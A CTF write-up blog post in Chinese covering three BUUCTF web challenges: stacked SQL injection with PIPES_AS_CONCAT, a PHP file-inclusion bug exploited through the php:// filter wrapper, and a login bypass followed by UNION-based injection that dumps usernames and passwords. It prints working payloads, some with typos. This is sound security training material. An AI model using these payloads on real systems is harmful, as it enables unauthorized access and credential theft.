BUUCTF-WEB2

文章讲述了参与者在两个比赛任务中(EasySQL1和LoveSQL1)解决SQL注入问题的过程,包括识别注入点、利用堆叠和联合查询技巧、破解文件包含漏洞以及获取敏感信息,最终获得flag。
摘要由CSDN通过智能技术生成

[SUCTF 2019]EasySQL1

1.启动靶机

2.寻找注入点和注入方法

随便输入一个字母,没有回显

随便输入一个数字,发现有回显,并且回显结果一样

3.堆叠注入

1; show databases;     #查看数据库

1; show tables;    #查看数据表

里面有个flag

1;set sql_mode=PIPES_AS_CONCAT;select 1

1;:这个部分是一个 SQL 查询的结束符号。在 MySQL 中,分号用于结束 SQL 语句
set sql_mode=PIPES_AS_CONCAT;:是一个 SQL 语句,用于设置 MySQL 数据库的 SQL 模式为 PIPES_AS_CONCAT,这个设置可能是为了改变 SQL 的连接操作符行为,将竖线(|)视为字符串连接符而不是按位或运算符
select 1:一个简单的 SQL 查询,选择值为 1 的列

4.得到flag

[极客大挑战 2019]Secret File1

1.启动靶机

2.查看源码

右键查看源代码

右键查看源代码

并查看源代码

3.burp suite

利用抓包工具,抓取跳转的页面

发现一个secr3t.php

访问secr3t.php,提示放在了flag.php中

访问flag.php

4.代码分析

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

第12行代码中的include函数说明secr3t.php存在文件包含漏洞

第8行代码没有过滤filter,所以我们可以直接使用php伪协议读取flag.php

5.随波逐流base64解密

将得到的一堆base64放到随波逐流工具中进行解密

6.得到flag

[极客大挑战 2019]LoveSQL1

1.启动靶机

2.万能密码

用万能密码,用户是a' or true # ,这里我输的密码是123(可以输任何密码)

登录

F12,可以看到是以get方式传参

3.测试是否有注入点

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1' order by 1%23&password=123

order by 4的时候报错

可以判断出有三个字段

4.寻找注入点

利用联合查询,寻找注入点

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoicn:81/check,php?username=1'unionselect 1.2.3%23&password=123

说明注入点是2,3

5.注入

通过联合查询

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usemame=1' union select 1,database(),3%23&password=123

得到一个名为geek的数据库

通过联合查询从数据库中获取表名的列表

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1'union select 1,database(),group concat(table name) from infommation schema.tables wheretable schema=database()%23&password=123

获取敏感数据,包括用户表中的用户 ID、用户名和密码

http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usermame=1'union select1,database(),group concat(id,username,password) from l0ve1ysg1%23&password=123

6.得到flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值